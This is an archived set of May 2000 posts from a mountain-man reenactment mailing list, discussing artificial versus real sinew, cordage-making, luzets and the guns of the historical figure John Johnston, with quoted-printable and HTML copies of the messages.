From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 10 May 2000 21:34:03 -0600

This is a multi-part message in MIME format.

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Thanks for the information. I think I will pass on the tool. Right now =
I'm sitting here in ice packs - fell off the barn and really screwed =
myself up. Nothing serious I think, just lost lots of skin and picked up =
some dandy bruises.
    -----Original Message-----
    From: John Kramer <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Wednesday, May 10, 2000 5:46 PM
    Subject: Re: MtMan-List: Artificial Sinew (was saws)
   =20
   =20
    Bill,
   =20
    I've not done much but observe luzets.  The technique is the basis =
for various forms of tube weaving by having circular areas defined by =
two to many pegs on which the thread is worked around.  It could be =
called crocheting in the round.  Isn't this pretty closely related to =
some tatting techniques?
   =20
    Someone who has used luzets may have a differing experience, I've =
given it little attention because it appeared to me too much like a =
chain stitch (like the awl-for-awl tools make, or the closing stitch on =
dog food bags) where if any one thread breaks you lose the entire =
length.  I've always considered it decorative. =20
   =20
    John...
   =20
   =20
    At 07:19 AM 5/10/00 -0600, you wrote:
   =20
        Wow! Thanks for the information! I am printing this and keeping =
it. Actually, I do carry a small coil of what we called (as kids) and I =
think it still is, squidding line in my pouch. Strange this is, I've =
never really used it. Strong as hell, round woven stuff from the =
fishermen on the coast of Maine. But thanks, John. It sounds like you =
have really worked this stuff out. What do you think of Buck's new =
cordage tool?
        Bill
       =20
            -----Original Message-----
            From: John Kramer <[e-mail]>
            To: [e-mail] =
<[e-mail]>
            Date: Wednesday, May 10, 2000 2:30 AM
            Subject: Re: MtMan-List: Artificial Sinew (was saws)
           =20
            Bill,
           =20
            I see this differently.
           =20
            Why would you ever need a strand of sinew much over 12" =
long?  Nice if you can get it but 6" works.
           =20
            Certainly not for sewing, splicing a bowstring is readily =
done; & sinew is self gluing when used for serving strings, points and =
fletchings.
           =20
            Electrician's shooting line (aka, artificial sinew) is handy =
in long lengths -- BUT -- how often do you really need to use it in long =
lengths?  If you don't heat weld the knots, they come undone.
           =20
            For threads, snares, lines and every other kind of such -- =
many other materials are useful as cordage, horse hair, bark, =
intestines, vines, weeds, hides; all kinds of stuff makes cordage.  In =
todays mountains no one is ever very far from a handy hunk of baling =
wire &/or twine which can serve many needs, I figure it's fair to use =
what you find, so much we find is different.  Field expedient drop =
spindles can be readily fashioned and would be a skill a mother would =
have taught -- those born to the period.
           =20
            Rawhide and sinew can be made to seize tighter and bind more =
securely than any nylon fastening. =20
           =20
            How does a coil of nylon improve survivability over a small =
wad of easily replaced sinew pieces?  Sinew comes free with meat, guts, =
hide, bone and fat; other handy survival items.
           =20
            At best artificial sinew is a convenience.  It is not =
demonstrably superior to real sinew for the purposes for which it is =
used.  It offers no particular survival advantage other than =
convenience.  =20
           =20
            I've used it but, could never find a real justification for =
it.  I haven't been able to find my spool of it (1 spool lasts a =
lifetime) in better than 15 years now.  Must have figured I wouldn't be =
needing it when I put it away last.
           =20
            I use linen for convenience.  I have a spool of unwaxed 4 =
strand twist.  For fine sewing I split lengths to two threads and =
re-spin the thread on the turned drop spindle I use at home.  If I need =
a heavy thread I untwist and spin together as many strands as is =
appropriate in lengths suitable to the work.  You can buy the thread in =
varying numbers of strands, in left or right hand twist, on each spool.  =
I find it easiest to have one spool of unwaxed (for ease in reworking).  =
Wax it as you work. =20
           =20
            If I need 5, 6, or ? strand -- I make it.  Sewing is slower =
if the thread is too long.  36" of thread is only needed when doing a =
full saddle stitch.  For all other sewing threads are best cut and used =
in shorter lengths.  Use a second thread if needed, the work will =
progress with greater ease when the thread isn't getting constantly =
tangled.
           =20
            I have a prepared ball of heavily waxed thread (1 1/4" +/- =
dia., in my possibles, the little I've needed on the trail has made the =
one ball last for years.  I have a small wad of sinew as well for the =
things it can do linen and nylon cannot,. =20
           =20
            A convenient rock, or stick, or whatever (?) can serve to =
spin your thread.  A made drop spindle is nice to have at home.  A =
spinning wheel is a higher tech answer to do the same, useful if you =
really need to make a lot of thread.
           =20
            At some point it is instructive to acquire some flax (or any =
other spinable/twistable fiber) and try making thread and heavier =
cordage from the beginning.  Braiding is another cordage skill.  Spun =
materials can be re-spun and/or braided as best suits the work.
           =20
            Cordage is critical to survival.  From thread to rope the =
skills acquired are complimentary and equally necessary.   A set of =
skills nearly as important as fire.  Cordage can ease making fire if all =
you have is wood: a bow drill is easier to use than a hand drill.
           =20
            The convenience of artificial sinew is seductive.  Using it =
risks not learning all the lessons required for one to be certain.  It =
is about being absolutely certain.
           =20
            John...
           =20
            Note: the spools of thread I refer to are the large =
commercial ones about 4" long and 3" in diameter.
           =20
           =20
           =20
            At 08:50 AM 5/9/00 -0600, you wrote:
           =20
                I was watching that antiques roadshow program one time =
and a guy brought in an Indian arrow quiver. It really looked nice and =
he was sure he had a pot of money. But the antique guy showed him that =
it was factory tanned leather, sewed with artificial sinew, which he =
explained was a hi-tech modern product. You could see the guy just =
wither. But it brought to mind a couple of questions. In true survival =
situations, would you be able to obtain enough sinew to take care of =
whatever it might be that you'd need it for? Since sinew is typically =
12" long or less, and splicing it is tricky at best, would you carry 15 =
feet or so in your possibles pouch, or rather, perhaps, a small coil of =
artificial sinew which is infinitely long? Historical authenticity is =
great and a fine goal, but what if your life (or in some cases, your =
budget) depended on it?
                Bill C
           =20
           =20
            Use it up, wear it out, make do, or do without.
            John Kramer  <[e-mail]>=20

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<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Thanks for the information. I think =
I will pass=20
on the tool. Right now I'm sitting here in ice packs - fell off the barn =
and=20
really screwed myself up. Nothing serious I think, just lost lots of =
skin and=20
picked up some dandy bruises.</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>John Kramer <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Wednesday, May 10, 2000 5:46 PM<BR><B>Subject: </B>Re: =
MtMan-List:=20
    Artificial Sinew (was saws)<BR><BR></DIV></FONT><FONT=20
    size=3D3>Bill,<BR><BR>I've not done much but observe luzets.  =
The=20
    technique is the basis for various forms of tube weaving by having =
circular=20
    areas defined by two to many pegs on which the thread is worked=20
    around.  It could be called crocheting in the round.  =
Isn't this=20
    pretty closely related to some tatting techniques?<BR><BR>Someone =
who has=20
    used luzets may have a differing experience, I've given it little =
attention=20
    because it appeared to me too much like a chain stitch (like the =
awl-for-awl=20
    tools make, or the closing stitch on dog food bags) where if any one =
thread=20
    breaks you lose the entire length.  I've always considered it=20
    decorative.  <BR><BR>John...<BR><BR><BR>At 07:19 AM 5/10/00 =
-0600, you=20
    wrote:<BR></FONT>
    <BLOCKQUOTE cite type =3D cite><FONT size=3D2>Wow! Thanks for the=20
        information! I am printing this and keeping it. Actually, I do =
carry a=20
        small coil of what we called (as kids) and I think it still is,=20
        squidding line in my pouch. Strange this is, I've never really =
used it.=20
        Strong as hell, round woven stuff from the fishermen on the =
coast of=20
        Maine. But thanks, John. It sounds like you have really worked =
this=20
        stuff out. What do you think of Buck's new cordage =
tool?</FONT><FONT=20
        size=3D3><BR></FONT><FONT size=3D2>Bill</FONT><FONT =
size=3D3><BR></FONT>
        <BLOCKQUOTE cite type =3D cite><FONT face=3Darial=20
            size=3D2><B>-----Original Message-----</B><BR><B>From: =
</B>John Kramer=20
            <<A=20
            =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
            </B><A=20
            =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
            <<A=20
            =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
            </B>Wednesday, May 10, 2000 2:30 AM<BR><B>Subject: </B>Re:=20
            MtMan-List: Artificial Sinew (was saws)<BR><BR></FONT><FONT=20
            size=3D3>Bill,<BR><BR>I see this differently.<BR><BR>Why =
would you=20
            ever need a strand of sinew much over 12" long?  =
Nice if=20
            you can get it but 6" works.<BR><BR>Certainly not for =
sewing,=20
            splicing a bowstring is readily done; & sinew is self =
gluing=20
            when used for serving strings, points and=20
            fletchings.<BR><BR>Electrician's shooting line (aka, =
artificial=20
            sinew) is handy in long lengths -- BUT -- how often do you =
really=20
            need to use it in long lengths?  If you don't heat weld =
the=20
            knots, they come undone.<BR><BR>For threads, snares, lines =
and every=20
            other kind of such -- many other materials are useful as =
cordage,=20
            horse hair, bark, intestines, vines, weeds, hides; all kinds =
of=20
            stuff makes cordage.  In todays mountains no one is =
ever very=20
            far from a handy hunk of baling wire &/or twine which =
can serve=20
            many needs, I figure it's fair to use what you find, so much =
we find=20
            is different.  Field expedient drop spindles can be =
readily=20
            fashioned and would be a skill a mother would have taught -- =
those=20
            born to the period.<BR><BR>Rawhide and sinew can be made to =
seize=20
            tighter and bind more securely than any nylon =
fastening. =20
            <BR><BR>How does a coil of nylon improve survivability over =
a small=20
            wad of easily replaced sinew pieces?  Sinew comes free =
with=20
            meat, guts, hide, bone and fat; other handy survival=20
            items.<BR><BR>At best artificial sinew is a =
convenience.  It is=20
            not demonstrably superior to real sinew for the purposes for =
which=20
            it is used.  It offers no particular survival advantage =
other=20
            than convenience.   <BR><BR>I've used it but, =
could never=20
            find a real justification for it.  I haven't been able =
to find=20
            my spool of it (1 spool lasts a lifetime) in better than 15 =
years=20
            now.  Must have figured I wouldn't be needing it when I =
put it=20
            away last.<BR><BR>I use linen for convenience.  I have =
a spool=20
            of unwaxed 4 strand twist.  For fine sewing I split =
lengths to=20
            two threads and re-spin the thread on the turned drop =
spindle I use=20
            at home.  If I need a heavy thread I untwist and spin =
together=20
            as many strands as is appropriate in lengths suitable to the =

            work.  You can buy the thread in varying numbers of =
strands, in=20
            left or right hand twist, on each spool.  I find it =
easiest to=20
            have one spool of unwaxed (for ease in reworking).  Wax =
it as=20
            you work.  <BR><BR>If I need 5, 6, or ? strand -- I =
make=20
            it.  Sewing is slower if the thread is too long.  =
36"=20
            of thread is only needed when doing a full saddle =
stitch.  For=20
            all other sewing threads are best cut and used in shorter=20
            lengths.  Use a second thread if needed, the work will =
progress=20
            with greater ease when the thread isn't getting constantly=20
            tangled.<BR><BR>I have a prepared ball of heavily waxed =
thread (1=20
            1/4" +/- dia., in my possibles, the little I've needed =
on the=20
            trail has made the one ball last for years.  I have a =
small wad=20
            of sinew as well for the things it can do linen and nylon=20
            cannot,.  <BR><BR>A convenient rock, or stick, or =
whatever (?)=20
            can serve to spin your thread.  A made drop spindle is =
nice to=20
            have at home.  A spinning wheel is a higher tech answer =
to do=20
            the same, useful if you really need to make a lot of=20
            thread.<BR><BR>At some point it is instructive to acquire =
some flax=20
            (or any other spinable/twistable fiber) and try making =
thread and=20
            heavier cordage from the beginning.  Braiding is =
another=20
            cordage skill.  Spun materials can be re-spun and/or =
braided as=20
            best suits the work.<BR><BR>Cordage is critical to =
survival. =20
            From thread to rope the skills acquired are complimentary =
and=20
            equally necessary.   A set of skills nearly as =
important=20
            as fire.  Cordage can ease making fire if all you have =
is wood:=20
            a bow drill is easier to use than a hand drill.<BR><BR>The=20
            convenience of artificial sinew is seductive.  Using it =
risks=20
            not learning all the lessons required for one to be =
certain. =20
            It is about being absolutely =
certain.<BR><BR>John...<BR><BR>Note:=20
            the spools of thread I refer to are the large commercial =
ones about=20
            4" long and 3" in diameter.<BR><BR><BR><BR>At =
08:50 AM=20
            5/9/00 -0600, you wrote:<BR></FONT>
            <BLOCKQUOTE cite type =3D cite><FONT size=3D2>I was watching =
that=20
                antiques roadshow program one time and a guy brought in =
an=20
                Indian arrow quiver. It really looked nice and he was =
sure he=20
                had a pot of money. But the antique guy showed him that =
it was=20
                factory tanned leather, sewed with artificial sinew, =
which he=20
                explained was a hi-tech modern product. You could see =
the guy=20
                just wither. But it brought to mind a couple of =
questions. In=20
                true survival situations, would you be able to obtain =
enough=20
                sinew to take care of whatever it might be that you'd =
need it=20
                for? Since sinew is typically 12" long or less, and =

                splicing it is tricky at best, would you carry 15 feet =
or so in=20
                your possibles pouch, or rather, perhaps, a small coil =
of=20
                artificial sinew which is infinitely long? Historical=20
                authenticity is great and a fine goal, but what if your =
life (or=20
                in some cases, your budget) depended on it?</FONT><FONT=20
                size=3D3><BR></FONT><FONT size=3D2>Bill=20
            C</BLOCKQUOTE><B><BR></B></FONT><FONT size=3D3><BR>Use it =
up, wear it=20
            out, make do, or do without.<BR>John Kramer =20
            <[e-mail]>=20
</FONT></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0028_01BFBAC7.765B0CC0--


----------------------
hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


-------------------------------------------------------------------------------

From: "Ratcliff" <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 10 May 2000 22:33:38 -0500

This is a multi-part message in MIME format.

------=_NextPart_000_0029_01BFBACF.C92672C0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Busted yer arse, didja Grandpa?  You are just like me....still think =
it's 1963.
YMOS
Lanney
  ----- Original Message -----=20
  From: Bill Cunningham=20
  To: [e-mail]=20
  Sent: Wednesday, May 10, 2000 10:34 PM
  Subject: Re: MtMan-List: Artificial Sinew (was saws)


  Thanks for the information. I think I will pass on the tool. Right now =
I'm sitting here in ice packs - fell off the barn and really screwed =
myself up. Nothing serious I think, just lost lots of skin and picked up =
some dandy bruises.
    -----Original Message-----
    From: John Kramer <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Wednesday, May 10, 2000 5:46 PM
    Subject: Re: MtMan-List: Artificial Sinew (was saws)


    Bill,

    I've not done much but observe luzets.  The technique is the basis =
for various forms of tube weaving by having circular areas defined by =
two to many pegs on which the thread is worked around.  It could be =
called crocheting in the round.  Isn't this pretty closely related to =
some tatting techniques?

    Someone who has used luzets may have a differing experience, I've =
given it little attention because it appeared to me too much like a =
chain stitch (like the awl-for-awl tools make, or the closing stitch on =
dog food bags) where if any one thread breaks you lose the entire =
length.  I've always considered it decorative. =20

    John...


    At 07:19 AM 5/10/00 -0600, you wrote:

      Wow! Thanks for the information! I am printing this and keeping =
it. Actually, I do carry a small coil of what we called (as kids) and I =
think it still is, squidding line in my pouch. Strange this is, I've =
never really used it. Strong as hell, round woven stuff from the =
fishermen on the coast of Maine. But thanks, John. It sounds like you =
have really worked this stuff out. What do you think of Buck's new =
cordage tool?
      Bill

        -----Original Message-----
        From: John Kramer <[e-mail]>
        To: [e-mail] <[e-mail]>
        Date: Wednesday, May 10, 2000 2:30 AM
        Subject: Re: MtMan-List: Artificial Sinew (was saws)

        Bill,

        I see this differently.

        Why would you ever need a strand of sinew much over 12" long?  =
Nice if you can get it but 6" works.

        Certainly not for sewing, splicing a bowstring is readily done; =
& sinew is self gluing when used for serving strings, points and =
fletchings.

        Electrician's shooting line (aka, artificial sinew) is handy in =
long lengths -- BUT -- how often do you really need to use it in long =
lengths?  If you don't heat weld the knots, they come undone.

        For threads, snares, lines and every other kind of such -- many =
other materials are useful as cordage, horse hair, bark, intestines, =
vines, weeds, hides; all kinds of stuff makes cordage.  In todays =
mountains no one is ever very far from a handy hunk of baling wire &/or =
twine which can serve many needs, I figure it's fair to use what you =
find, so much we find is different.  Field expedient drop spindles can =
be readily fashioned and would be a skill a mother would have taught -- =
those born to the period.

        Rawhide and sinew can be made to seize tighter and bind more =
securely than any nylon fastening. =20

        How does a coil of nylon improve survivability over a small wad =
of easily replaced sinew pieces?  Sinew comes free with meat, guts, =
hide, bone and fat; other handy survival items.

        At best artificial sinew is a convenience.  It is not =
demonstrably superior to real sinew for the purposes for which it is =
used.  It offers no particular survival advantage other than =
convenience.  =20

        I've used it but, could never find a real justification for it.  =
I haven't been able to find my spool of it (1 spool lasts a lifetime) in =
better than 15 years now.  Must have figured I wouldn't be needing it =
when I put it away last.

        I use linen for convenience.  I have a spool of unwaxed 4 strand =
twist.  For fine sewing I split lengths to two threads and re-spin the =
thread on the turned drop spindle I use at home.  If I need a heavy =
thread I untwist and spin together as many strands as is appropriate in =
lengths suitable to the work.  You can buy the thread in varying numbers =
of strands, in left or right hand twist, on each spool.  I find it =
easiest to have one spool of unwaxed (for ease in reworking).  Wax it as =
you work. =20

        If I need 5, 6, or ? strand -- I make it.  Sewing is slower if =
the thread is too long.  36" of thread is only needed when doing a full =
saddle stitch.  For all other sewing threads are best cut and used in =
shorter lengths.  Use a second thread if needed, the work will progress =
with greater ease when the thread isn't getting constantly tangled.

        I have a prepared ball of heavily waxed thread (1 1/4" +/- dia., =
in my possibles, the little I've needed on the trail has made the one =
ball last for years.  I have a small wad of sinew as well for the things =
it can do linen and nylon cannot,. =20

        A convenient rock, or stick, or whatever (?) can serve to spin =
your thread.  A made drop spindle is nice to have at home.  A spinning =
wheel is a higher tech answer to do the same, useful if you really need =
to make a lot of thread.

        At some point it is instructive to acquire some flax (or any =
other spinable/twistable fiber) and try making thread and heavier =
cordage from the beginning.  Braiding is another cordage skill.  Spun =
materials can be re-spun and/or braided as best suits the work.

        Cordage is critical to survival.  From thread to rope the skills =
acquired are complimentary and equally necessary.   A set of skills =
nearly as important as fire.  Cordage can ease making fire if all you =
have is wood: a bow drill is easier to use than a hand drill.

        The convenience of artificial sinew is seductive.  Using it =
risks not learning all the lessons required for one to be certain.  It =
is about being absolutely certain.

        John...

        Note: the spools of thread I refer to are the large commercial =
ones about 4" long and 3" in diameter.



        At 08:50 AM 5/9/00 -0600, you wrote:

          I was watching that antiques roadshow program one time and a =
guy brought in an Indian arrow quiver. It really looked nice and he was =
sure he had a pot of money. But the antique guy showed him that it was =
factory tanned leather, sewed with artificial sinew, which he explained =
was a hi-tech modern product. You could see the guy just wither. But it =
brought to mind a couple of questions. In true survival situations, =
would you be able to obtain enough sinew to take care of whatever it =
might be that you'd need it for? Since sinew is typically 12" long or =
less, and splicing it is tricky at best, would you carry 15 feet or so =
in your possibles pouch, or rather, perhaps, a small coil of artificial =
sinew which is infinitely long? Historical authenticity is great and a =
fine goal, but what if your life (or in some cases, your budget) =
depended on it?
          Bill C


        Use it up, wear it out, make do, or do without.
        John Kramer  <[e-mail]>=20

------=_NextPart_000_0029_01BFBACF.C92672C0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D3>Busted yer arse, didja Grandpa?  You are just =
like=20
me....still think it's 1963.</FONT></DIV>
<DIV>YMOS</DIV>
<DIV>Lanney</DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Bill=20
  Cunningham</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>[e-mail]</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, May 10, 2000 =
10:34=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: MtMan-List: =
Artificial Sinew=20
  (was saws)</DIV>
  <DIV><BR></DIV>
  <DIV><FONT color=3D#000000 size=3D2>Thanks for the information. I =
think I will=20
  pass on the tool. Right now I'm sitting here in ice packs - fell off =
the barn=20
  and really screwed myself up. Nothing serious I think, just lost lots =
of skin=20
  and picked up some dandy bruises.</FONT></DIV>
  <BLOCKQUOTE=20
  style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>John Kramer <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Wednesday, May 10, 2000 5:46 PM<BR><B>Subject: </B>Re: =
MtMan-List:=20
    Artificial Sinew (was saws)<BR><BR></DIV></FONT><FONT=20
    size=3D3>Bill,<BR><BR>I've not done much but observe luzets.  =
The=20
    technique is the basis for various forms of tube weaving by having =
circular=20
    areas defined by two to many pegs on which the thread is worked=20
    around.  It could be called crocheting in the round.  =
Isn't this=20
    pretty closely related to some tatting techniques?<BR><BR>Someone =
who has=20
    used luzets may have a differing experience, I've given it little =
attention=20
    because it appeared to me too much like a chain stitch (like the =
awl-for-awl=20
    tools make, or the closing stitch on dog food bags) where if any one =
thread=20
    breaks you lose the entire length.  I've always considered it=20
    decorative.  <BR><BR>John...<BR><BR><BR>At 07:19 AM 5/10/00 =
-0600, you=20
    wrote:<BR></FONT>
    <BLOCKQUOTE type=3D"cite" cite><FONT size=3D2>Wow! Thanks for the =
information!=20
      I am printing this and keeping it. Actually, I do carry a small =
coil of=20
      what we called (as kids) and I think it still is, squidding line =
in my=20
      pouch. Strange this is, I've never really used it. Strong as hell, =
round=20
      woven stuff from the fishermen on the coast of Maine. But thanks, =
John. It=20
      sounds like you have really worked this stuff out. What do you =
think of=20
      Buck's new cordage tool?</FONT><FONT size=3D3><BR></FONT><FONT=20
      size=3D2>Bill</FONT><FONT size=3D3><BR></FONT>
      <BLOCKQUOTE type=3D"cite" cite><FONT face=3Darial =
size=3D2><B>-----Original=20
        Message-----</B><BR><B>From: </B>John Kramer <<A=20
        =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
        </B><A=20
        =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
        <<A=20
        =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
        </B>Wednesday, May 10, 2000 2:30 AM<BR><B>Subject: </B>Re: =
MtMan-List:=20
        Artificial Sinew (was saws)<BR><BR></FONT><FONT =
size=3D3>Bill,<BR><BR>I=20
        see this differently.<BR><BR>Why would you ever need a strand of =
sinew=20
        much over 12" long?  Nice if you can get it but 6"=20
        works.<BR><BR>Certainly not for sewing, splicing a bowstring is =
readily=20
        done; & sinew is self gluing when used for serving strings, =
points=20
        and fletchings.<BR><BR>Electrician's shooting line (aka, =
artificial=20
        sinew) is handy in long lengths -- BUT -- how often do you =
really need=20
        to use it in long lengths?  If you don't heat weld the =
knots, they=20
        come undone.<BR><BR>For threads, snares, lines and every other =
kind of=20
        such -- many other materials are useful as cordage, horse hair, =
bark,=20
        intestines, vines, weeds, hides; all kinds of stuff makes =
cordage. =20
        In todays mountains no one is ever very far from a handy hunk of =
baling=20
        wire &/or twine which can serve many needs, I figure it's =
fair to=20
        use what you find, so much we find is different.  Field =
expedient=20
        drop spindles can be readily fashioned and would be a skill a =
mother=20
        would have taught -- those born to the period.<BR><BR>Rawhide =
and sinew=20
        can be made to seize tighter and bind more securely than any =
nylon=20
        fastening.  <BR><BR>How does a coil of nylon improve =
survivability=20
        over a small wad of easily replaced sinew pieces?  Sinew =
comes free=20
        with meat, guts, hide, bone and fat; other handy survival=20
        items.<BR><BR>At best artificial sinew is a convenience.  =
It is not=20
        demonstrably superior to real sinew for the purposes for which =
it is=20
        used.  It offers no particular survival advantage other =
than=20
        convenience.   <BR><BR>I've used it but, could never =
find a=20
        real justification for it.  I haven't been able to find my =
spool of=20
        it (1 spool lasts a lifetime) in better than 15 years now.  =
Must=20
        have figured I wouldn't be needing it when I put it away =
last.<BR><BR>I=20
        use linen for convenience.  I have a spool of unwaxed 4 =
strand=20
        twist.  For fine sewing I split lengths to two threads and =
re-spin=20
        the thread on the turned drop spindle I use at home.  If I =
need a=20
        heavy thread I untwist and spin together as many strands as is=20
        appropriate in lengths suitable to the work.  You can buy =
the=20
        thread in varying numbers of strands, in left or right hand =
twist, on=20
        each spool.  I find it easiest to have one spool of unwaxed =
(for=20
        ease in reworking).  Wax it as you work.  <BR><BR>If I =
need 5,=20
        6, or ? strand -- I make it.  Sewing is slower if the =
thread is too=20
        long.  36" of thread is only needed when doing a full =
saddle=20
        stitch.  For all other sewing threads are best cut and used =
in=20
        shorter lengths.  Use a second thread if needed, the work =
will=20
        progress with greater ease when the thread isn't getting =
constantly=20
        tangled.<BR><BR>I have a prepared ball of heavily waxed thread =
(1 1/4"=20
        +/- dia., in my possibles, the little I've needed on the trail =
has made=20
        the one ball last for years.  I have a small wad of sinew =
as well=20
        for the things it can do linen and nylon cannot,.  =
<BR><BR>A=20
        convenient rock, or stick, or whatever (?) can serve to spin =
your=20
        thread.  A made drop spindle is nice to have at home.  =
A=20
        spinning wheel is a higher tech answer to do the same, useful if =
you=20
        really need to make a lot of thread.<BR><BR>At some point it is=20
        instructive to acquire some flax (or any other =
spinable/twistable fiber)=20
        and try making thread and heavier cordage from the =
beginning. =20
        Braiding is another cordage skill.  Spun materials can be =
re-spun=20
        and/or braided as best suits the work.<BR><BR>Cordage is =
critical to=20
        survival.  From thread to rope the skills acquired are=20
        complimentary and equally necessary.   A set of skills =
nearly=20
        as important as fire.  Cordage can ease making fire if all =
you have=20
        is wood: a bow drill is easier to use than a hand =
drill.<BR><BR>The=20
        convenience of artificial sinew is seductive.  Using it =
risks not=20
        learning all the lessons required for one to be certain.  =
It is=20
        about being absolutely certain.<BR><BR>John...<BR><BR>Note: the =
spools=20
        of thread I refer to are the large commercial ones about 4" long =
and 3"=20
        in diameter.<BR><BR><BR><BR>At 08:50 AM 5/9/00 -0600, you=20
        wrote:<BR></FONT>
        <BLOCKQUOTE type=3D"cite" cite><FONT size=3D2>I was watching =
that antiques=20
          roadshow program one time and a guy brought in an Indian arrow =
quiver.=20
          It really looked nice and he was sure he had a pot of money. =
But the=20
          antique guy showed him that it was factory tanned leather, =
sewed with=20
          artificial sinew, which he explained was a hi-tech modern =
product. You=20
          could see the guy just wither. But it brought to mind a couple =
of=20
          questions. In true survival situations, would you be able to =
obtain=20
          enough sinew to take care of whatever it might be that you'd =
need it=20
          for? Since sinew is typically 12" long or less, and splicing =
it is=20
          tricky at best, would you carry 15 feet or so in your =
possibles pouch,=20
          or rather, perhaps, a small coil of artificial sinew which is=20
          infinitely long? Historical authenticity is great and a fine =
goal, but=20
          what if your life (or in some cases, your budget) depended on=20
          it?</FONT><FONT size=3D3><BR></FONT><FONT size=3D2>Bill=20
        C</BLOCKQUOTE><B><BR></B></FONT><FONT size=3D3><BR>Use it up, =
wear it out,=20
        make do, or do without.<BR>John Kramer =20
        <[e-mail]>=20
</FONT></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>=


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From: [e-mail] (JON MARINETTI)
Subject: MtMan-List: John (aka Jeremiah) Johnston's Guns
Date: 10 May 2000 23:51:54 -0400 (EDT)

according to the book Crow Killer they were a .30 cal Hawken and a Colt
Walker. don't remember reading anywhere where the Hawken brothers made a
.30 cal rifle? Also only about 1,100 Walkers were ever manufactured -
and that was solely in the year 1847.  Also picture in front of book
shows Johnston standing and holding a Winchester Model 1876 rifle.  Any
insights from the camp or list would be appreciated.

~~~~~~~~~~~~~~~~~~~~~~~~
from Michigan
~~~~~~~~~~~~~~~~~~~~~~~~


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From: "Wynn & Gretchen Ormond" <[e-mail]>
Subject: MtMan-List: Re: MtMan-List cordage
Date: 10 May 2000 11:24:15 -0600

This is a multi-part message in MIME format.

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Mr Kanger was kind enough to give instructions on making cordage with a =
couple of sticks, but he assumed you have some nice long strings to =
start with. Cordage can be constructed with fibers (horse hair) much =
shorter and with a similar stick. The wife and I made one during half =
time during the superbowl this year(I'm the only guy I know who asks his =
wife whos who and whats what in televised sports) . OK it took longer =
than that, but not that much. I would like to make another one, all I =
have to do is find Buck's or Crazy's ramuda and harvest the manes and =
tails <G>.


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<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<P>Mr Kanger was kind enough to give instructions on making cordage with =
a=20
couple of sticks, but he assumed you have some nice long strings to =
start with.=20
Cordage can be constructed with fibers (horse hair) much shorter and =
with a=20
similar stick. The wife and I made one during half time during the =
superbowl=20
this year(I'm the only guy I know who asks his wife whos who and whats =
what in=20
televised sports) . OK it took longer than that, but not that much. I =
would like=20
to make another one, all I have to do is find Buck’s or Crazy's =
ramuda and=20
harvest the manes and tails <G>.</P></DIV></BODY></HTML>

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From: Todd <[e-mail]>
Subject: RE: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 00:42:33 -0500

=3D)
No offense taken Larry.
I'll end my contribution to the discussion with that.  Who knows, mebbe =
one of these years I will run into some folks around a fire somewhere.  =
I certainly hope to.

Well, it's late, and I reckon I'll shut down for the evening.   God =
bless all, and good night.


> -----Original Message-----
> From: [e-mail]
> [mailto:[e-mail]]On Behalf Of larry =
pendleton
> Sent: Wednesday, May 10, 2000 11:24 PM
